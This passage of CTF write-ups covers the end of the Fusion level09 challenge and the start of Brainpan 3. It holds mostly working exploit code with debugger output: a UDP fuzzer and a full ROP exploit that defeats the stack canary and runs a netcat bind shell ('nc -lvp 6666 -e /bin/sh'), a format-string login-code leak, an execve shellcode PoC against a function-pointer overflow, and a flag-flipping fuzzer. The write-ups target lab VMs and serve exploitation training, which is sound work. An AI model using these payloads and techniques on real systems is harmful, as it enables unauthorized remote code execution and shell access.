  char buf; // [sp+Fh] [bp-1h]@1

  buf = type;
  return core::Buf2WriteData(sCore, &buf, 1);
}

signed int __usercall core::Buf2WriteDataType_2E@<eax>(struct_core *sCore@<eax>, char *data@<edx>, int datalen@<ecx>)
{
  core::Buf2SetType(sCore, 0x2E);
  return core::Buf2WriteData(sCore, data, datalen);
}

signed int __cdecl core::Buf2WriteEx(struct_core *sCore, char headerbyte, char *data, int datalen)
{
  core::Buf2SetType(sCore, headerbyte);
  return core::Buf2WriteData(sCore, data, datalen);
}

I also found places in the code where it copies our pbuf1 data to the local stack variables local_buf1 and/or local_buf2 which are each 64 bytes in size. just two example snippets.

LOAD:08049D55 loc_8049D55:
LOAD:08049D55           mov     eax, [ebx+struct_core.p_pbuf1]
LOAD:08049D58           mov     al, [eax]
LOAD:08049D5A           mov     [ebp+edi+local_buf1], al
LOAD:08049D61           dec     edi
LOAD:08049D62           jmp     short loc_8049D89
...
LOAD:0805E20E           mov     edx, [ebp+var_AC]
LOAD:0805E214           add     esp, 10h
LOAD:0805E217           mov     [ebp+edi+local_buf1], al
LOAD:0805E21E           dec     edi
LOAD:0805E21F           mov     [ebp+esi+local_buf2], al
LOAD:0805E223           inc     esi
LOAD:0805E224           mov     [ebp+var_ptr3], edx
LOAD:0805E22A           jmp     loc_805E2C0
...

It seems there are many more things the code could do and it looked like a horrible painful task to get the complete picture.

What The Fuzz
Now since this is a exploit challenge, how much need is there to really understand the code completely? We know it could take up to a 4096 bytes buffer and the first byte of this buffer should be 0x1F and we know that based on the next byte(s) various execution paths could be triggered and actions performed.

I decided to write a very basic fuzzer which fuzzes the second byte in our buffer, the remaining buffer of 4094 bytes is filled with ‘A’s

#!/usr/bin/env python
import sys
import socket
import time

bufsize = 4096

def main(host, port):
	try:
		client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
		# try full byte range
		for _fuzzbyte in range(256):
			payload = '\x1F' + chr(_fuzzbyte) + (bufsize - 2) * 'A'
			client.sendto(payload, (host, int(port)))
			print 'Fuzz Byte 0x%02x send' % (_fuzzbyte)
			time.sleep(1)

	except Exception, e:
		return

if __name__ == '__main__':
	main(sys.argv[1], sys.argv[2])

I attached GDB to the level09 process and started the fuzzer script and after sending a 0x0e fuzzing byte GDB stopped at a Segmentation fault crash.

Program received signal SIGSEGV, Segmentation fault.
[Switching to LWP 9450]
[----------------------------------registers-----------------------------------]
EAX: 0xb78d3c41 ('A' repeats 200 times...)
EBX: 0x86fa998 --> 0x1 
ECX: 0x241 
EDX: 0x345d (']4')
ESI: 0xce4 
EDI: 0x345c ('\\4')
EBP: 0xb0722378 ('A' repeats 200 times...)
ESP: 0xb07222b0 --> 0x0 
EIP: 0x80495f3 (mov    BYTE PTR [ebp+esi*1-0x5c],al)
EFLAGS: 0x10297 (CARRY PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80495e3:	mov    WORD PTR [ebx+0xba],ax
   0x80495ea:	mov    WORD PTR [ebx+0xb8],ax
   0x80495f1:	mov    al,BYTE PTR [edx]
=> 0x80495f3:	mov    BYTE PTR [ebp+esi*1-0x5c],al
   0x80495f7:	inc    esi
   0x80495f8:	mov    eax,DWORD PTR [ebx+0x4]
   0x80495fb:	inc    eax
   0x80495fc:	cmp    eax,DWORD PTR [ebx+0x8]
[------------------------------------stack-------------------------------------]
0000| 0xb07222b0 --> 0x0 
0004| 0xb07222b4 --> 0x0 
0008| 0xb07222b8 --> 0x0 
0012| 0xb07222bc --> 0x0 
0016| 0xb07222c0 --> 0x0 
0020| 0xb07222c4 --> 0x0 
0024| 0xb07222c8 --> 0x0 
0028| 0xb07222cc --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x080495f3 in ?? ()
gdb-peda$

This looks good, from the look at the code where it crashed and it’s current registers we can see it tries to write data from our pbuf1(AL) to local_buf2(EBP) with ESI as it’s current position and apparently it’s trying to write passed the memory/stack and overflowing the local_buf2 buffer.

Let’s try a smaller buffer and see if we could trigger another crash. The current position(ESI) is at 0xce4 / 3300 and at that point it could not write anymore data so I picked something less then 3300. I changed the bufsize in the fuzzer script to 3000 and started it. Again once after sending a fuzzbyte of 0x0e GDB stopped at a crash but this time with some very nice result!

Program received signal SIGSEGV, Segmentation fault.
[Switching to LWP 9575]
[----------------------------------registers-----------------------------------]
EAX: 0xb77febb8 --> 0x0 
EBX: 0x41414141 ('AAAA')
ECX: 0x241 
EDX: 0x358e 
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xb064d380 ('A' repeats 200 times...)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xb064d380 ('A' repeats 200 times...)
0004| 0xb064d384 ('A' repeats 200 times...)
0008| 0xb064d388 ('A' repeats 200 times...)
0012| 0xb064d38c ('A' repeats 200 times...)
0016| 0xb064d390 ('A' repeats 200 times...)
0020| 0xb064d394 ('A' repeats 200 times...)
0024| 0xb064d398 ('A' repeats 200 times...)
0028| 0xb064d39c ('A' repeats 200 times...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()

Boom! We now seem to have full EIP control, This looks like a classic stack overflow exploiting from here. Besides being happy I had full EIP control I also was a bit confused that this could have happen because the start_processdata function is protected with stack smashing detection and in theory this should have noticed the stack overflow in local_buf2.

I decided to place some breakpoints in start_processdata to see what is going on. The first breakpoint I placed on 0x08049077 this is where it saves the current stack canary. I placed a second breakpoint at 0x08060E0A where it reads the previous stored canary and compares it with the original eq. the stack smash check at the end of start_processdata. I also modified the fuzzer script to just send one request using the 0x0e fuzz byte(The one that caused the crash). Once the script is executed we can inspect the breakpoints.

Breakpoint 1:
[Switching to LWP 9685]
[----------------------------------registers-----------------------------------]
EAX: 0x6e774800 ('')
EBX: 0x8875048 --> 0x1 
ECX: 0x10 
EDX: 0xb7584454 --> 0xb771aff4 --> 0x17eb4 
ESI: 0x0 
EDI: 0x3d0f00 
EBP: 0xb7584378 --> 0xb7584398 --> 0xb7584498 --> 0x0 
ESP: 0xb75842b0 --> 0x0 
EIP: 0x8049077 (mov    DWORD PTR [ebp-0x1c],eax)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049068:	sub    esp,0xbc
   0x804906e:	mov    ebx,DWORD PTR [ebp+0x8]
   0x8049071:	mov    eax,gs:0x14
=> 0x8049077:	mov    DWORD PTR [ebp-0x1c],eax
   0x804907a:	xor    eax,eax
   0x804907c:	lea    edx,[ebp-0x9c]
   0x8049082:	mov    edi,edx
   0x8049084:	mov    esi,DWORD PTR [ebx+0x98]
[------------------------------------stack-------------------------------------]
0000| 0xb75842b0 --> 0x0 
0004| 0xb75842b4 --> 0xb7586110 --> 0xb77066ba (inc    edi)
0008| 0xb75842b8 --> 0x5 
0012| 0xb75842bc --> 0x0 
0016| 0xb75842c0 --> 0x1 
0020| 0xb75842c4 --> 0xb7729860 --> 0xb7703000 (jg     0xb7703047)
0024| 0xb75842c8 --> 0x0 
0028| 0xb75842cc --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08049077 in ?? ()

It’s about to store the current canary(EAX) into EBP-0x1C, Now if we dump a big portion of the stack starting from the canary address we notice something interesting.

gdb-peda$ x/550wx $ebp-0x1c
0xb758435c:	0x6e774800	0xb7729a18	0xb7586110	0x00000001
0xb758436c:	0x08875048	0x00000000	0x003d0f00	0xb7584398
0xb758437c:	0x08060efd	0x08875048	0xb771aff4	0x00000000
0xb758438c:	0x003d0f00	0xb7584498	0xb771aff4	0xb7584498
0xb758439c:	0xb7709d31	0x08875048	0xb7584b70	0xb7584b70
0xb75843ac:	0xb7584b70	0xb7584454	0x00000000	0x00000000
0xb75843bc:	0x00000000	0x00000000	0x00000000	0x00000000
0xb75843cc:	0x00000000	0x00000000	0x00000000	0x00000000
0xb75843dc:	0x00000000	0x00000000	0x00000000	0x00000000
0xb75843ec:	0x00000000	0x00000000	0x00000000	0x00000000
0xb75843fc:	0x00000000	0x00000000	0x00000000	0x00000000
0xb758440c:	0x00000000	0x00000000	0x00000000	0x00000000
0xb758441c:	0x00000000	0x00000000	0x00000000	0x00000000
0xb758442c:	0x00000000	0x00000000	0x00000000	0x00000000
0xb758443c:	0x00000000	0x00000000	0x00000000	0x00000000
0xb758444c:	0x00000000	0x00000000	0xb771aff4	0x00000000
0xb758445c:	0x003d0f00	0xb7584498	0x73bada79	0x2207b879
0xb758446c:	0x00000000	0x00000000	0x00000000	0x00000000
0xb758447c:	0x00000000	0x00000000	0x00000000	0x00000000
0xb758448c:	0xb7709c60	0x00000000	0x003d0f00	0x00000000
0xb758449c:	0xb76590ce	0xb7584b70	0x00000000	0x00000000
...
0xb7584b1c:	0x00000000	0x00000000	0x00000000	0x00000000
0xb7584b2c:	0x00000000	0xb76ff3a0	0xb7584df4	0x00000000
0xb7584b3c:	0x00000000	0x00000000	0x00000000	0x00000000
0xb7584b4c:	0x00000000	0x00000000	0x00000000	0x00000000
0xb7584b5c:	0x00000000	0x00000000	0x00000000	0x00000000
0xb7584b6c:	0x00000000	0xb7584b70	0x08875118	0xb7584b70
0xb7584b7c:	0x00000001	0xb774a414	0x6e774800	0x8be19edd
...

Besides a huge gap of zero bytes we can see our current canary at 0xb758435c and original canary at 0xb7584b7c + 8. If we continue the debugged process till the next breakpoint we can see that both canary’s are now overwritten and therefore the stack smashing check succeeds because we control both canary’s!

Stack after overflow.

Breakpoint 2, 0x08060e0a in ?? ()
gdb-peda$ x/550wx $ebp-0x1c
0xb758435c:	0x41414141	0x41414141	0x41414141	0x41414141
0xb758436c:	0x41414141	0x41414141	0x41414141	0x41414141
0xb758437c:	0x41414141	0x41414141	0x41414141	0x41414141
0xb758438c:	0x41414141	0x41414141	0x41414141	0x41414141
0xb758439c:	0x41414141	0x41414141	0x41414141	0x41414141
...
0xb7584b6c:	0x41414141	0x41414141	0x41414141	0x41414141
0xb7584b7c:	0x41414141	0x41414141	0x41414141	0x41414141

Exploit
Since we have to deal with ASLR and NX I decided to create ROP payload which does a system(‘/bin/nc.traditional -lvp 6666 -e /bin/sh’). At first my payload kept crashing with it’s EIP set to the value located before the original canary at 0xb7584b7c + 4. After some more debugging it turned out that the original value(now overwritten) should point to vdso.__kernel_vsyscall. Without this pointer fixed we can not execute any code which involves a syscall(most of the code does) I fixed this by making a GOT entry point to vdso.__kernel_vsyscall.

Backtrace of the crash without the vdso.__kernel_vsyscall pointer fixed using the unpacked executable because it has symbols.

gdb-peda$ bt
#0  0x42424242 in ?? ()
#1  0xb7709dd9 in __GI___libc_sigaction (sig=0x2, act=0xb76d9324, oact=0xb7855120) at ../sysdeps/unix/sysv/linux/i386/sigaction.c:96
#2  0xb77185e6 in do_system (line=0x8063384 "/bin/nc.traditional -lvp 6666 -e /bin/sh") at ../sysdeps/posix/system.c:72
#3  0xb7718b9a in __libc_system (line=0x8063384 "/bin/nc.traditional -lvp 6666 -e /bin/sh") at ../sysdeps/posix/system.c:190
#4  0xb7866ebb in system (line=0x8063384 "/bin/nc.traditional -lvp 6666 -e /bin/sh") at pt-system.c:29
#5  0x08048f84 in ?? ()

Final exploit code.

#!/usr/bin/env python
import sys
import socket
import struct

"""
distance to vdso.__kernel_vsyscall on the unpacked binary
(gdb) p __kernel_vsyscall
$1 = {<text variable, no debug info>} 0xb7821414 <__kernel_vsyscall>

(gdb) p write
$2 = {<text variable, no debug info>} 0xb78079c0 <write>

(gdb) p 0xb7821414 - 0xb78079c0
$3 = 105044

packed binary:
0x39A54

space for commandline string:
gdb-peda$ x/100wx 0x8063184+0x200
0x8063384:	0x00000000	0x00000000	0x00000000	0x00000000
0x8063394:	0x00000000	0x00000000	0x00000000	0x00000000
0x80633a4:	0x00000000	0x00000000	0x00000000	0x00000000
0x80633b4:	0x00000000	0x00000000	0x00000000	0x00000000
0x80633c4:	0x00000000	0x00000000	0x00000000	0x00000000
0x80633d4:	0x00000000	0x00000000	0x00000000	0x00000000
...

some useful gadgets:
0x08048c8e: add dword ptr [ebx + 0x5d5b04c4], eax; ret; 
0x0805ce50: add dword ptr [edi], ecx; test byte ptr [ecx], dl; ret; 
0x0805d141: add dword ptr [edi], ecx; test byte ptr [edi], ch; ret; 
0x0805d165: add dword ptr [edi], ecx; test dl, ah; ret;

0x08061f90: pop eax; add byte ptr cs:[ebp + eax*8 + 0xc], bl; add al, 4; ret; 
0x08060e98: pop ebp; cld; leave; ret; 
0x08048c93: pop ebp; ret; 
0x08048c92: pop ebx; pop ebp; ret; 
0x08048f83: pop ebx; pop esi; pop edi; pop ebp; ret; 
0x0804880c: pop ebx; ret; 
0x08048f85: pop edi; pop ebp; ret; 
0x08048f84: pop esi; pop edi; pop ebp; ret; 
0x0805d2e0: pop esp; ret 0xfffe; 
0x080612d8: pop esp; rol dword ptr [eax + ecx], 0; ret 0x804; 

0x0805d1d8: xchg ah, dh; ret; 
0x0805ff43: xchg dword ptr [ecx - 0x1600016a], ecx; ret 0xfee6; 
0x0805d387: xchg eax, ebx; mov edx, 0xf000000; test dword ptr [edi], edi; ret 0xfffe; 
0x0805d2d4: xchg eax, ebx; mov edx, 0xf000000; test esi, edx; ret 0xfffe; 
0x080581f9: xchg eax, ecx; ret; 
0x080614f0: xchg eax, esp; ret 0x805; 
0x080581d0: xchg eax, esp; ret 0xffff; 
0x0805d1e3: xchg ecx, ebp; ret; 
0x08049420: xchg edx, esi; ret;

sum value/write block:
	0x08048c92: pop ebx; pop ebp; ret;
	0xADDR - 0x5d5b04c4
	0xDATA
	0x0805d1e3: xchg ecx, ebp; ret;
	0x080581f9: xchg eax, ecx; ret;	
	0x08048c8e: add dword ptr [ebx + 0x5d5b04c4], eax; ret;

"""



def p(v):
	return struct.pack('<L', v)

# create a rop wich writes string(s) to address(addr)
def rop_cpystr(addr, s):
	rop = ''
	for i in range(len(s) / 4):
		rop += p(0x08048c92) # pop ebx; pop ebp; ret;
		rop += p(((addr+(i*4)) - 0x5d5b04c4) & 0xFFFFFFFF) # address
		rop += s[(i*4) : (i*4) + 4] # data
		rop += p(0x0805d1e3) # xchg ecx, ebp; ret;
		rop += p(0x080581f9) # xchg eax, ecx; ret;
		rop += p(0x08048c8e) # add dword ptr [ebx + 0x5d5b04c4], eax; ret;
	return rop

# create a rop that adds a value(v) to the value at address(addr)
def rop_addvalue(addr, v):
	rop = ''
	rop += p(0x08048c92) # pop ebx; pop ebp; ret;
	rop += p((addr - 0x5d5b04c4) & 0xFFFFFFFF) # address
	rop += p(v)
	rop += p(0x0805d1e3) # xchg ecx, ebp; ret;
	rop += p(0x080581f9) # xchg eax, ecx; ret;
	rop += p(0x08048c8e) # add dword ptr [ebx + 0x5d5b04c4], eax; ret;
	return rop

# main exploit code
def main(host, port):
	__popr 			= 0x08048f86
	__bss 			= 0x08063384
	__setrlimit_got = 0x080632A8
	__jmp_setrlimit = 0x080488E0
	__write_got 	= 0x080632D0
	__jmp_write 	= 0x08048980
	# 2084 bytes, retn @ 28+
	# 0x8060e1b:	lea    esp,[ebp-0xc]
	# 0x8060e1e:	pop    ebx
	# 0x8060e1f:	pop    esi
	# 0x8060e20:	pop    edi
	# 0x8060e21:	pop    ebp
	rop  = 12 * 'A' # [ebp-0Ch]
	rop += p(0) # ebx
	rop += p(0) # esi
	rop += p(0) # edi
	rop += p(0) # ebp
	# increment setrlimit + 0xC1DD0 -> libc.system
	rop += rop_addvalue(__setrlimit_got, 0xC1DD0)
	# increment write + 0x39A54 -> vdso.__kernel_vsyscall
	rop += rop_addvalue(__write_got, 0x39A54)
	# write the netcat command string to .bss
	rop += rop_cpystr(__bss, '/bin/nc.traditional -lvp 6666 -e /bin/sh')
	# system('netcat command')
	rop += p(__jmp_setrlimit)
	rop += p(__popr)
	rop += p(__bss)
	rop += p(0x43434343)
	# padd till 2080 bytes
	rop  = rop.ljust(2080, 'A')
	# jmp to vdso.__kernel_vsyscall
	rop += p(__jmp_write)

	# construct the payload packet
	payload =  64 * 'A'
	payload += '-OO-' # <= canarie 1
	payload += rop
	payload += '-OO-' # <= canarie 2, must match canarie 1 to bypass the stack smashing detection!


	client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
	try:
		client.sendto('\x1f\x0e\xff\xff' +  payload, (host, int(port)))
	except KeyboardInterrupt:
		client.close()
		return

if __name__ == '__main__':
	main(sys.argv[1], sys.argv[2])

And running it..

h4x@kali:~/training/fusion/lvl9$ ./lvl9_exploit.py 192.168.178.15 20009;sleep 1;nc 192.168.178.15 6666
id
uid=20009 gid=20009 groups=20009

Game over
This was another fun exploit challenge including some unpacking. Also it shows that sometimes you don’t need to dig deep into the code, but with some basic understanding of it and some simple fuzzing attempts you could get the desired results.

Brainpan 3 – The write up

  __ )    _ \      \    _ _|   \  |   _ \    \      \  |     _ _| _ _| _ _| 
  __ \   |   |    _ \     |     \ |  |   |  _ \      \ |       |    |    |  
  |   |  __ <    ___ \    |   |\  |  ___/  ___ \   |\  |       |    |    |  
 ____/  _| \_\ _/    _\ ___| _| \_| _|   _/    _\ _| \_|     ___| ___| ___|

                                                            by superkojiman
                                                            techorganic.com

Intro

Recently Superkojiman released version 3 of the Brainpan boot2root series, this VM is mainly focused on binary exploitation.

Brainpan console

Once the VM is fully booted we do a port scan using nmap. This shows us 1 open port 1337 and a closed(firewalled) port 8080, Once we connect to the port 1337 we are presented with a login screen for the brainpan console.

brainpan3login

According to the text on the screen we have to deal with a 4 digit code and after 3 failing attempts a new code would be created, so it’s very unlikely that we could bruteforce it. The first thing that came to my mind is that it could be a format string vulnerability and a quick test showed that this indeed was the case.

ACCESS CODE: %p%p%p
ERROR #1: INVALID ACCESS CODE: 0xbfa0b01c(nil)0x11f9

When using a format string pattern for decimals we could spot the login code 4601 in the output located on position 3

ACCESS CODE: %d-%d-%d-%d-%d-%d-%d 
ERROR #1: INVALID ACCESS CODE: -1079988196-0-4601--1079988196-0-10-495804160

We can shorten our format string pattern to %3$d to directly retrieve the current login code

ACCESS CODE: %3$d
ERROR #1: INVALID ACCESS CODE: 4601

We login to the brainpan console using the code and are presented with a menu showing us a few options and which permissions are set such as AUTH, REPORT and MENU

--------------------------------------------------------------
SESSION: ID-5102
  AUTH   [Y]    REPORT [N]    MENU   [Y]  
--------------------------------------------------------------


1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF

ENTER COMMAND: 

The most interesting options are 1,2 and 3.. 4 is obviously a troll. Using option 1 the console tells us that the report feature is disabled for this build, option 2 tells us the repository is now available and option 3 allows us to change our session name. It seems this option has a format string and buffer overflow vulnerability.

The repository option reminded me of the closed port at 8080, a quick re-scan shows that the port is now open and when we browse to it we are presented with a simple web page. I started a directory bruteforce which revealed the folder called “repo” which had 5 files in it.

Directory listing for /repo/

    bofh
    how-to-pwn-brainpan.jpg
    README.txt
    report
    shell 

The file called report caught my attention since we also have this report option in the brainpan console. I downloaded the file and started to analyze it.

Analyzing report

When running the executable on our local machine it show us its options

h4x@kali:~/bp3$ ./report
./report  [0|1]

When supplying the desired arguments(report data and 1 or 0) we get a big charlie brown banner, I don’t know the guy but I bet hes a nice guy..

h4x@kali:~/bp3$ ./report aa 0
               ____
           .-'&    '-.
          / __    __  \
         :-(__)--(__)--;
        (      (_       )
         :             ;
          \    __     /
           `-._____.-'
             /`"""`\
            /    ,  \
           /|/\/\/\ _\
          (_|/\/\/\\__)
            |_______|
           __)_ |_ (__
          (_____|_____)

       YOU'RE IN THE MATRIX
           CHARLIE BROWN

Time to reverse engineer the executable to see what’s going on..

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@2
  int bdoenc; // ST14_4@3
  int v5; // ecx@7
  char buf[100]; // [sp+18h] [bp-68h]@3
  int canarie; // [sp+7Ch] [bp-4h]@1

  canarie = *MK_FP(__GS__, 20);
  if ( argc > 2 )
  {
    cb();
    /*
    - Copy the report data from argunent 1(report)
      to 'buf', this could lead to a buffer overflow.
    - convert argument 2(0 or 1) to a integer and 
      assign to 'bdoenc'
    */
    strcpy(buf, argv[1]);
    bdoenc = atoi(argv[2]);
    /*
    Make REPORT(.bss section) data executable(thx superkojiman) using
    mprotect.
    */
    P = REPORT;
    N = (-sysconf(30) & REPORT);
    mprotect(N, 500u, 7);
    /*
    Choose execution path based on 'bdoenc'
    */
    if ( bdoenc )
    {
      sanitize(buf);
      encrypt(buf);
      record_data(buf);
    }
    else
    {
      record_data(buf);
      record_id(buf);
    }
    printf("[+] RECORDED [%s]\n", buf);
    result = 0;
  }
  else
  {
    printf("%s <report> [0|1]\n", *argv);
    result = 0;
  }
  v5 = *MK_FP(__GS__, 20) ^ canarie;
  return result;
}

int __cdecl sanitize(char *buf)
{
  size_t i; // [sp+18h] [bp-10h]@1
  int v3; // [sp+1Ch] [bp-Ch]@1

  v3 = 0;
  for ( i = 0; i < strlen(buf); ++i )
  {
    if ( !isalpha(buf[i]) )
    {
      buf[i] = '?';
      ++v3;
    }
  }
  return v3;
}


size_t __cdecl encrypt(char *buf)
{
  unsigned int dwseed; // eax@1
  size_t result; // eax@3
  size_t i; // [sp+18h] [bp-10h]@1
  int key; // [sp+1Ch] [bp-Ch]@1

  dwseed = time(0);
  srand(dwseed);
  key = rand() % 9000 + 1000;
  for ( i = 0; ; ++i )
  {
    result = strlen(buf);
    if ( i >= result )
      break;
    buf[i] ^= key;
  }
  return result;
}

void __cdecl record_data(const char *buf)
{
  char *p; // eax@1
  int v2; // ebx@1
  time_t timer; // [sp+2Ch] [bp-5Ch]@1
  FILE *fsOut; // [sp+30h] [bp-58h]@1
  struct tm *timestamp; // [sp+34h] [bp-54h]@1
  char tsstring[26]; // [sp+3Ah] [bp-4Eh]@1
  char reportFilename[40]; // [sp+54h] [bp-34h]@1
  int canary; // [sp+7Ch] [bp-Ch]@1

  canary = *MK_FP(__GS__, 20);
  fsOut = 0;
  time(&timer);
  timestamp = localtime(&timer);
  strftime(tsstring, 26u, "%Y%m%d%H%M%S", timestamp);
  memset(reportFilename, 0, 40u);
  strcpy(reportFilename, "/home/anansi/REPORTS/");
  strcat(reportFilename, tsstring);
  p = &reportFilename[strlen(reportFilename)];
  *p = 'per.';
  p[4] = 0;
  printf("[+] WRITING REPORT TO %s\n", reportFilename);
  fsOut = fopen(reportFilename, "w");
  fputs(buf, fsOut);
  fclose(fsOut);
  /*
  Copy 100 bytes of the buf to REPORT
  */
  strncpy(REPORT, buf, 100u);
  feedback();
  v2 = *MK_FP(__GS__, 20) ^ canary;
}

int __cdecl record_id(char *buf)
{
  char dest[3]; // [sp+19h] [bp-Fh]@1
  void (*pfeedback)(void); // [sp+1Ch] [bp-Ch]@1

  pfeedback = feedback;
  /*
  strcpy overflows the dest buffer allowing
  to control the pfeedback pointer
  */
  strcpy(dest, buf);
  pfeedback();
  return atoi(dest);
}

void feedback(void)
{
  puts("[+] DATA SUCCESSFULLY ENCRYPTED");
  puts("[+] DATA SUCCESSFULLY RECORDED");
}

So the code starts with a check if the local hostname is brainpain3, assuming it is(I nopped the call cb), it copies the report data to buf and makes the REPORT data executable using mprotect. After that it checks the 2nd argument.

1: data in buf would be filtered using the sanitize function and then encrypted and finally stored using the record_data function which stores the data into a file and copies the first 100 bytes to REPORT.
0: data would directly be stored without any filtering or encryption and a additional function record_id is called, Now this is a interesting function..

When looking at the record_id function we can see it assigns a function pointer to pfeedback and then copies the content of buf into dest, now since dest only can hold up to 3 bytes we can overflow it and control the pfeedback pointer which is executed next after the strcpy resulting in code execution.

Testing this using a debugger gives us the expected result
poc1

 

So let’s summarize:
Since our first 100 bytes is stored at a executable location(REPORT) and we can control a function pointer(pfeedback) we could store some shellcode in REPORT and then make the pfeedback pointer point to our shellcode.

The address of REPORT can be looked up in IDA:

.bss:0804B0A0                 public REPORT
.bss:0804B0A0 ; char REPORT[500]
.bss:0804B0A0 REPORT          db 1F4h dup(?)          ; DATA XREF: record_data+131
.bss:0804B0A0                                         ; main+7D

The exploit buffer could look something like:
AAA<REPORT_address+7><shellcode>

Note that we have to add 7 to the REPORT address to get past the 3 A’s and the 4 bytes of the function pointer.

 

POC

#!/usr/bin/env python
import struct
import sys

# .bss:0804B0A0                 public REPORT
# .bss:0804B0A0 ; char REPORT[500]
# .bss:0804B0A0 REPORT          db 1F4h dup(?)          ; DATA XREF: record_data+131
# .bss:0804B0A0  

# linux/x86 Shellcode execve ("/bin/sh") - 21 Bytes
# http://shell-storm.org/shellcode/files/shellcode-752.php
shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
__REPORT = 0x0804B0A0

def p(v):
	return struct.pack('<L', v)

payload  = 'AAA'
payload += p(__REPORT + 7)
payload += shellcode

print payload + ' 0'

And executing the poc spawns a shell as expected

h4x@kali:~/bp3$ ./report $(./report_local.py)
[+] WRITING REPORT TO /home/anansi/REPORTS/20150912020038.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
$ id
uid=1000(h4x) gid=1001(h4x) groups=1001(h4x),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),105(scanner),108(bluetooth),112(netdev),125(powerdev)
$

brainpan console – report feature

Now if you remember we currently cannot create reports from within the brainpan console since report feature is disabled so we must enable it, now this is where the buffer overflow in the “update session name” option(3) comes into play.

By overflowing the session name buffer we can control the values in:

  AUTH   [Y]    REPORT [N]    MENU   [Y] 

And by setting REPORT [N] to Y we would enable the report feature. A little fuzzer script helps us to find the correct length till we overwrite the N

#!/usr/bin/env python
from select import select
from socket import *
from time import sleep
import telnetlib
import sys
import struct
import re

class NetcatClient:
	def __init__(self, host, port):
		"""
		Netcat Class init.
		"""
		self.host = host
		self.port = int(port)
		self.delay = 0.05
		self.linemode = False
		self.sock = socket(AF_INET, SOCK_STREAM)

	# private functions
	def __check_state(self, timeout=0):
		"""
		Check the socket it's read, write and exception state 
		using select
		"""
		# we need abit of a delay to keep things
		# running smooth
		sleep(self.delay)
		return select([self.sock], [self.sock], [self.sock], timeout)

	# core functions
	def connect(self):
		"""
		Connect to host
		"""
		try:
			self.sock.connect((self.host, self.port))
			return True
		except error as e:
			print 'NetcatClassError:', e
			return False

	def close(self):
		"""
		Close the connection
		"""
		try:
			self.sock.close()
		except error as e:
			print 'NetcatClassError:', e

	def recv(self, size=4096):
		"""
		Recieve all data
		"""
		try:
			data = ''
			readable, writable, exceptional = self.__check_state()
			if readable:
				# while socket readable...
				while readable:
					# collect all data
					data += self.sock.recv(size)
					# re-check socket's state
					readable, writable, exceptional = self.__check_state()
			return data
		except error as e:
			print 'NetcatClassError:', e

	def send(self, data):
		"""
		Send data
		"""
		if self.linemode:
			data += '\n'
		try:
			readable, writable, exceptional = self.__check_state()
			if writable:
				self.sock.send(data)
		except error as e:
			print 'NetcatClassError:', e

	def sendrecv(self, data):
		"""
		Send and recieve data
		"""
		self.send( data )
		return self.recv()

	def interact(self):
		"""
		Interactive telnet client
		"""
		try:
			t = telnetlib.Telnet()
			t.sock = self.sock
			t.interact()
			t.close()
		except KeyboardInterrupt:
			self.close()

if __name__ == '__main__':
	# fuzzing code
	s = NetcatClient('192.168.178.22', '1337')
	s.linemode = True
	s.connect()
	# banner
	s.recv()
	# send format string pattern and grab the login code
	r = s.sendrecv('%3$d')
	# parse the login code from the reponse
	l = re.findall(r"INVALID ACCESS CODE: (.*?)\n", r)
	print 'login code -> ', l
	# send login code and log in
	s.sendrecv('%s'%(l[0]))

	# send change sessionname commands
	# with length of 0 ... 255
	for i in range(256):
		s.sendrecv('3')
		resp = s.sendrecv(i * 'Y')
		l = re.findall(r"REPORT \[(.*?)\]", resp)
		print i,'->',l
		# if value changed to Y break
		if 'Y' in l[0]:
			print 'payload -> %d * Y' % (i)
			break

	s.close()

Running the fuzzer results in:

h4x@kali:~/bp3$ ./test.py 
login code ->  ['3537']
0 -> ['N']
...
250 -> ['N']
251 -> ['\x00']
252 -> ['\x00']
253 -> ['Y']
payload -> 253 * Y

So by setting the session name to 253 Y chars we change the REPORT feature status from N to Y effectively enabling the report feature.

ENTER COMMAND: 3
SELECTED: 3
ENTER NEW SESSION NAME: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
--------------------------------------------------------------
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
  AUTH   [Y]    REPORT [Y]    MENU   [Y]  
--------------------------------------------------------------


1  - CREATE REPORT
